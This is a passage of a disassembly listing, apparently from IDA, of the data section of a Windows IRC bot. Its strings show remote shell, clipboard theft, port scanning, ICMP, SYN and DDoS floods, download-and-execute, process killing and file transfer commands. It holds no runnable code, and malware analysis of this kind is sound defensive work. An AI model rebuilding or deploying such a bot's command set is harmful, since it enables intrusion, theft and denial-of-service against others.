		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
		dd 61657268h, 2E7364h
dword_433784	dd 627573h		; DATA XREF: sub_40CD3A+55A8o
dword_433788	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5556o
		dd 2029206Ch, 2BBBB02h,	6C412020h, 20736169h, 7473696Ch
		dd 2Eh,	0
dword_4337B8	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5526o
		dd 2029206Ch, 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_433804	dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
					; DATA XREF: sub_40CD3A+54AFo
		dd 2029206Ch, 2BBBB02h,	694C2020h, 6E697473h, 6F6C2067h
		dd 2E67h
dword_433830	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5428o
		dd 2029206Ch, 2BBBB02h,	654E2020h, 726F7774h, 6E49206Bh
		dd 2E6F66h
dword_43385C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+53F9o
		dd 2029206Ch, 2BBBB02h,	79532020h, 6D657473h, 666E4920h
		dd 2E6Fh
dword_433888	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+53A4o
		dd 2029206Ch, 2BBBB02h,	65522020h, 69766F6Dh, 4220676Eh
		dd 2E746Fh, 0
dword_4338B8	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CD3A+5373o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_9	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_433908	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CD3A+5314o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
		dd 6C207373h, 2E747369h, 0
aFull		db 'full',0             ; DATA XREF: sub_40CD3A+52F4o
		align 4
dword_433944	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CD3A+5292o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning	db '  Already running.',0
		align 4
unk_433978	db    2			; DATA XREF: sub_40CD3A+5266o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 64h,	6Bh, 65h
		db  79h	; y
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
dword_4339AC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5217o
		dd 2029206Ch, 2BBBB02h,	70552020h, 656D6974h, 7325203Ah
		dd 2Eh
dword_4339D8	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_411EB4o
		dd 2029206Ch, 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_433A0C	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5173o
		dd 2029206Ch, 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 4
dword_433A48	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5157o
		dd 2029206Ch, 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_433A84	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+5141o
		dd 2029206Ch, 2BBBB02h,	65472020h, 6C432074h, 6F627069h
		dd 2E647261h, 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40CD3A+5113o
		align 4
unk_433AC8	db    2			; DATA XREF: sub_40CD3A:loc_411E3Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
unk_433B08	db    2			; DATA XREF: sub_40CD3A+50EEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 10h
unk_433B40	db    2			; DATA XREF: sub_40CD3A:loc_411E0Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 10h
unk_433B80	db    2			; DATA XREF: sub_40CD3A:loc_411E05o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 10h
unk_433BC0	db    2			; DATA XREF: sub_40CD3A+50C4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
unk_433BF8	db    2			; DATA XREF: sub_40CD3A+5031o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_10	db 'Failed to start server thread, error: <%d>.',0
		align 8
unk_433C48	db    2			; DATA XREF: sub_40CD3A+4EBCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_11	db 'Failed to start server thread, error: <%d>.',0
unk_433C94	db    2			; DATA XREF: sub_40CD3A+4DAFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_0	db 'Already running.',0
		align 4
dword_433CC8	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CD3A:loc_411AD3o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_12	db '  Failed to start scan, port is invalid.',0
		align 8
dword_433D18	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CD3A+4CDAo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
dword_433D94	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4A92o
		dd 2029206Ch, 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_433DCC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4A79o
		dd 2029206Ch, 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_433E00	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4A5Co
		dd 2029206Ch, 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_433E34	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4A46o
		dd 2029206Ch, 2BBBB02h,	52492020h, 61522043h, 25203A77h
		dd 2E73h
dword_433E60	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CD3A:loc_41170Co
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 10h
dword_433EA0	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CD3A+49CBo
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_433ED8	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CD3A:loc_4116C8o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_433F14	dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
					; DATA XREF: sub_40CD3A+4984o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 10h
aAll		db 'all',0              ; DATA XREF: sub_40CD3A+496Ao
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+48DFo
					; sub_40CD3A:loc_412427o
		align 4
dword_433F64	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4869o
		dd 2029206Ch, 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_433F9C	db    2			; DATA XREF: sub_40CD3A:loc_41158Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldnTOpenF_0	db 'Couldn',27h,'t open file: %s',0
		align 4
unk_433FD4	db    2			; DATA XREF: sub_40CD3A+484Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileOpenedS	db 'File opened: %s',0
dword_434004	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4821o
		dd 2029206Ch, 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_43403C	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_41153Fo
		dd 2029206Ch, 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 4
dword_434078	dd 28026502h, 62302E31h, 20282029h, 2E736E64h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+47DAo
		dd 2029206Ch, 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
dword_4340A8	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CD3A:loc_4114E0o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTermin	db '  Failed to terminate process: %s',0
		align 4
dword_4340EC	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CD3A+479Co
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledS	db '  Process killed: %s',0
		align 8
dword_434128	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CD3A:loc_411486o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToTerm_0	db '  Failed to terminate process ID: %s',0
		align 10h
dword_434170	dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
					; DATA XREF: sub_40CD3A+4745o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aProcessKilledI	db '  Process killed ID: %s',0
dword_4341A8	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: sub_40CD3A+46FEo
		dd 29206C1Fh, 0BBBB0220h, 44202002h, 74656C65h,	27206465h
		dd 2E277325h, 0
dword_4341D8	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+46D3o
		dd 2029206Ch, 2BBBB02h
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
dword_434224	dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+467Ao
		dd 2029206Ch, 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_43425C	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: sub_40CD3A+4608o
		dd 29206C1Fh, 0BBBB0220h, 4C202002h, 3A747369h,	732520h
		dd 0
unk_434288	db    2			; DATA XREF: sub_40CD3A+45C9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_13	db 'Failed to start connection thread, error: <%d>.',0
dword_4342D8	dd 28026502h, 62302E31h, 20282029h, 69736976h, 1F6D2E74h
					; DATA XREF: sub_40CD3A+4570o
		dd 206C1F64h, 0BB022029h, 202002BBh, 3A4C5255h,	2E732520h
		dd 0
dword_434304	dd 28026502h, 62302E31h, 20282029h, 6372696Dh, 641F6D2Eh
					; DATA XREF: sub_40CD3A:loc_411205o
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	7320646Eh
		dd 2E746E65h, 0
unk_434334	db    2			; DATA XREF: sub_40CD3A+44C4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Dh	; m
		db 69h,	72h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_434364	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4487o
		dd 2029206Ch, 2BBBB02h,	6F432020h, 6E616D6Dh, 203A7364h
		dd 7325h
dword_434390	dd 28026502h, 62302E31h, 20282029h, 2E646D63h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+447Fo
		dd 2029206Ch, 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 10h
dword_4343D0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4439o
		dd 2029206Ch, 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 4
dword_434404	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4425o
		dd 2029206Ch, 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
dword_43443C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+43A0o
		dd 2029206Ch, 2BBBB02h,	65472020h, 736F6874h, 25203A74h
		dd 2E73h
dword_434468	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_41109Fo
		dd 2029206Ch, 2BBBB02h
aUnableToExtrac	db '  Unable to extract Gethost command.',0
		align 4
dword_4344AC	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+434Fo
		dd 2029206Ch, 2BBBB02h
aGethostSComman	db '  Gethost: %s, Command: %s',0
		align 4
dword_4344E4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+42CDo
		dd 2029206Ch, 2BBBB02h
aAliasAddedS_	db '  Alias added: %s.',0
		align 4
dword_434514	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+428Fo
		dd 2029206Ch, 2BBBB02h
aPrivmsgSS_	db '  Privmsg: %s: %s.',0
		align 4
dword_434544	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+4239o
		dd 2029206Ch, 2BBBB02h
aActionSS_	db '  Action: %s: %s.',0
		align 4
dword_434574	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+41CEo
		dd 2029206Ch, 2BBBB02h,	79432020h, 2E656C63h, 0
dword_43459C	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40CD3A+4194o
					; sub_40CD3A+4A4Eo
dword_4345A8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+416Do
		dd 2029206Ch, 2BBBB02h
aModeChangeS	db '  Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_40CD3A+415Fo
		align 4
dword_4345E4	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: sub_40CD3A+4136o
		dd 206C1F64h, 0BB022029h, 202002BBh, 20776152h,	29732528h
		dd 7325203Ah, 0
dword_434614	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: sub_40CD3A+40CBo
		dd 206C1F64h, 0BB022029h, 202002BBh, 65646F4Dh,	73252820h
		dd 25203A29h, 73h
dword_434644	dd 45444F4Dh, 732520h	; DATA XREF: sub_40CD3A+4076o
dword_43464C	dd 28026502h, 62302E31h, 20282029h, 6E6F6C63h, 1F6D2E65h
					; DATA XREF: sub_40CD3A+4044o
		dd 206C1F64h, 0BB022029h, 202002BBh, 6B63694Eh,	73252820h
		dd 25203A29h, 73h
dword_43467C	dd 4B43494Eh, 732520h	; DATA XREF: sub_40CD3A+3FEEo
					; sub_40CD3A+48ABo
dword_434684	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40CD3A+3FCFo
dword_434690	dd 54524150h, 732520h	; DATA XREF: sub_40CD3A+3F68o
dword_434698	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_410C86o
		dd 2029206Ch, 2BBBB02h
aRepeatNotAllow	db '  Repeat not allowed in command line: %s',0
		align 10h
dword_4346E0	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+3F15o
		dd 2029206Ch, 2BBBB02h,	65522020h, 74616570h, 7325203Ah
		dd 0
aRepeat		db 'repeat',0           ; DATA XREF: sub_40CD3A+3EC4o
		align 4
dword_434714	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_40CD3A:loc_410BB6o
		dd 2029206Ch, 2BBBB02h,	65442020h, 2E79616Ch, 0
dword_43473C	dd 25207325h, 73252073h, 73253A20h, 2 dup(0) ; DATA XREF: sub_40CD3A+3E3Co
					; sub_40CD3A+3EEFo ...
unk_434750	db    2			; DATA XREF: sub_40CD3A:loc_410B25o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aBotIdMustBeDif	db ' Bot ID must be different than current running process.',0
unk_4347A8	db    2			; DATA XREF: sub_40CD3A+3DCCo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartD	db ' Failed to start download thread, error: <%d>.',0
		align 4
unk_4347F8	db    2			; DATA XREF: sub_40CD3A+3D73o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  75h	; u
		db 70h,	64h, 61h
		db  74h	; t
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aDownloadingUpd	db ' Downloading update from: %s.',0
		align 4
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_40CD3A+3CCDo
		align 4
dword_434844	dd 28026502h, 62302E31h, 20282029h, 63657865h, 641F6D2Eh
					; DATA XREF: sub_40CD3A+3C6Eo
		dd 29206C1Fh, 0BBBB0220h, 43202002h, 616D6D6Fh,	3A73646Eh
		dd 732520h
unk_434870	db    2			; DATA XREF: sub_40CD3A+3C63o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  65h	; e
		db 78h,	65h, 63h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTExecute	db '  Couldn',27h,'t execute file.',0
		align 4
unk_4348A8	db    2			; DATA XREF: sub_40CD3A+3BB1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_14	db '  Failed to start search thread, error: <%d>.',0
		align 4
unk_4348F8	db    2			; DATA XREF: sub_40CD3A+3B4Do
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingFor_0	db '  Searching for file: %s in: %s.',0
		align 4
dword_43493C	dd 28026502h, 62302E31h, 20282029h, 656C6966h, 641F6D2Eh
					; DATA XREF: sub_40CD3A:loc_4107E9o
					; sub_40CD3A:loc_41143Fo
		dd 29206C1Fh, 0BBBB0220h, 2002h
unk_43495C	db    2			; DATA XREF: sub_40CD3A+3A9Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aRenameSToS_	db '  Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 8
unk_434998	db    2			; DATA XREF: sub_40CD3A:loc_4107B2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aInvalidFloodTi	db '  Invalid flood time must be greater than 0.',0
		align 8
unk_4349E8	db    2			; DATA XREF: sub_40CD3A+3A59o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_434A34	db    2			; DATA XREF: sub_40CD3A+39F5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 8
unk_434A78	db    2			; DATA XREF: sub_40CD3A+3969o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_15	db ' Failed to start clone thread, error: <%d>.',0
		align 8
unk_434AC8	db    2			; DATA XREF: sub_40CD3A+3910o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 10h
unk_434B10	db    2			; DATA XREF: sub_40CD3A+3866o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_434B60	db    2			; DATA XREF: sub_40CD3A+3804o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 8
dword_434BA8	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+375Do
		dd 2029206Ch, 2BBBB02h
aFailedToSta_17	db '  Failed to start flood thread, error: <%d>.',0
		align 8
dword_434BF8	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40CD3A+36F5o
		dd 2029206Ch, 2BBBB02h
